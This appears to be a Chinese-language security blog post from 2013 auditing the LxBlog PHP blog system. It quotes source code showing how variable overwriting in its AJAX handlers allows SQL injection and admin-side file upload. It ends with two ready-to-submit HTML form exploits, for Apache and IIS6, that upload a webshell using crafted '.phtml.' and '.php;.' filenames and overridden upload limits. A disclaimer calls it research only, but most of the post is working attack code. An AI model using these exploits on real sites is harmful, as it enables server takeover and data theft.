Lxblog代码审计之变量覆盖

L.N. (http://ln.sycsec.com/) | 2013-04-07 19:32

废话:

    lxblog是www.phpwind.net开发的多人博客系统,现在好像已经停止更新了!

声明

    本文只做技术研究,请勿非法使用,一起后果与本人无关!

正文:

关键文件:/mod/ajax_mod.php

if (!empty($_POST)) {

  $_POST = Char_cv($_POST);

  if ($db_charset != 'utf-8') {

    require_once(R_P.'mod/charset_mod.php');

    foreach ($_POST as $key => $value) {

      ${'utf8_'.$key} = $value;

      ${$key} = convert_charset('utf-8',$db_charset,$value);

    }

  } else {

    foreach ($_POST as $key => $value) {

      ${'utf8_'.$key} = ${$key} = $value; //变量覆盖了

    }

  }

}

变量覆盖导致注入漏洞

重点文件:/ajax.php

if ($action=='vote') {

  !$winduid && exit('not_login');//变量覆盖绕过

  (int)$votenum < 1 && exit('erro_voteid');//变量覆盖绕过

  $voteitem = array();

  $query = $db->query("SELECT id,voteduid FROM pw_voteitem WHERE vid='$vid'");//漏洞来了,进入query()函数

  while ($rt = $db->fetch_array($query)) {

    strpos(",$rt[voteduid],",",$winduid,")!==false && exit('have_voted');

    $voteitem[$rt['id']] = $rt['voteduid'];

  }

漏洞文件:/mod/db_mysql.php

function query($SQL,$method=''){//覆盖變量 $GLOBALS['PW'] 形成注入

    $GLOBALS['PW']!='pw_' && $SQL = str_replace(' pw_',' '.$GLOBALS['PW'],$SQL);

    $query = ($method=='U_B' && function_exists('mysql_unbuffered_query')) ? @mysql_unbuffered_query($SQL) : @mysql_query($SQL);

    $this->query_num++;

    !$query && $this->halt('Query Error: ' . $SQL);

    return $query;

  }

exp:

1.jpg

变量覆盖导致后台getshell

重點文件:/ajaxadmin.php

.....

require_once(R_P.'admin/admincp.php');

require_once(R_P.'mod/ajax_mod.php');//變量覆蓋了

....

} elseif ($action=='upload') {

  if ($job == 'add') {

InitGP(array('uid','mode'),'G');//$uid=1.phtml.

    $db_uploadmaxsize = $_GET['db_uploadmaxsize'];//db_uploadmaxsize=10000

    $db_uploadfiletype = $_GET['db_uploadfiletype'];//db_uploadfiletype=aaa

    $db_attachnum = $_GET['db_attachnum'];//db_attachnum=1

    require_once(R_P.'mod/upload_mod.php');

    $uploaddb = UploadSQL($uid,0,0,'',$mode);//進入上傳,$mode=

    foreach ($uploaddb as $value) {

      $aid = $value['aid'];

      $name = $value['name'];

      $size = $value['size'];

      $desc = $value['desc'];

      $url = "$attachpath/$value[attachurl]";

      break;

    }

    echo "<script language=\"JavaScript1.2\">parent.UploadFileResponse('$mode','$aid','$size','$desc','$name','$url');</script>";exit;

  }

......

function UploadSQL($uid,$itemid,$cid=0,$atype = null,$mode = null){

  global $db,$attachdb,$timestamp,$atc_content;

  $uploaddb = !empty($_FILES) ? UploadFile($uid,$mode) : array();//進入uploadfile函數

  

......

function UploadFile($uid,$mode = null){

  global $_GROUP,$db,$admin_uid,$db_attachnum,$db_uploadmaxsize,$db_uploadfiletype,$timestamp,$db_attachdir,$attachpath,$attachdir,$db_thumbifopen,$db_thumbwh;

  $filedb = $attachdb = $descdb = array();

  foreach ($_FILES as $key => $value) {

    $i = (int)substr($key,11);

    if (!empty($mode) && $i != $mode) continue;

    $tmp_name = is_array($value) ? $value['tmp_name'] : ${$key};

    $descdb[$key] = Char_cv($_POST['atc_desc'.$i]);

    $tagdb[$key] = Char_cv($_POST['atc_tags'.$i]);

    $i > 0 && $i <= $db_attachnum && if_uploaded_file($tmp_name) && $filedb[$key] = $value;

  }

  unset($_FILES);

  foreach ($filedb as $key => $value) {

    $i = (int)substr($key,11);

    if (is_array($value)) {

      $atc_attachment = $value['tmp_name'];

      $atc_attachment_name = $value['name'];

      $atc_attachment_size = $value['size'];

    } else {

      $atc_attachment = ${$key};

      $atc_attachment_name = ${$key.'_name'};

      $atc_attachment_size = ${$key.'_size'};

    }

    $atc_attachment_size > $db_uploadmaxsize && Uploadmsg('upload_size_error',$i);

    @extract($db->get_one("SELECT SUM(size) AS tsizes FROM pw_upload WHERE uid='$admin_uid'"));

    $_GROUP['uploadsize'] && $tsizes >= $_GROUP['uploadsize'] && Uploadmsg('upload_size_limit',$i);

    $extdb = explode(' ',strtolower($db_uploadfiletype));

    $attach_ext = strtolower(substr(strrchr($atc_attachment_name,'.'),1));

    (!$attach_ext || !N_InArray($attach_ext,$extdb)) && Uploadmsg('upload_type_error',$i);

    $attach_ext = preg_replace("/(php|asp|jsp|cgi|fcgi|exe|pl|phtml|dll|asa|com|scr|inf)/i","scp_\\1",$attach_ext);

    $randvar = substr(md5($timestamp+$i),10,15);

    $fileurl = "{$uid}_{$randvar}";//上傳鏈接

    if ($attachdir == R_P.$attachpath) {

      $savedir = '';

      

......


然後我們可愛的webshell就上傳上去了

exp:

适用于apache

<html>

<body>

<form action="http://127.0.0.1/lxblog/ajaxadmin.php?action=upload&job=add&uid=1.phtml.&mode=&db_uploadmaxsize=10000&db_uploadfiletype=aaa&db_attachnum=1" method="post"

enctype="multipart/form-data">

<label for="attachments1">Filename:</label>

<input type="file" name="attachments1" id="attachments1" />

<br />

<input type="text" name="admin_uid" value="2" />

<br />

<input type="text" name="timestamp" value="a" />

<br />

<input type="text" name="attachdir" value="./">

<br />

<input type="submit" name="submit" value="1.phtml._b923820dcc509a6.aaa" />

</form>

</body>

</html>

适用于iis6.0

<html>

<body>

<form action="http://127.0.0.1/lxblog/ajaxadmin.php?action=upload&job=add&uid=1.php;.&mode=&db_uploadmaxsize=10000&db_uploadfiletype=aaa&db_attachnum=1" method="post"

enctype="multipart/form-data">

<label for="attachments1">Filename:</label>

<input type="file" name="attachments1" id="attachments1" />

<br />

<input type="text" name="admin_uid" value="2" />

<br />

<input type="text" name="timestamp" value="a" />

<br />

<input type="text" name="attachdir" value="./">

<br />

<input type="submit" name="submit" value="1.php;._b923820dcc509a6.aaa" />

</form>

</body>

</html>

都成功了:

2.jpg

最后的废话:

据说刚开的领域!

phpcms v9的补丁打的亮瞎了我的钛合金x眼!

3.jpg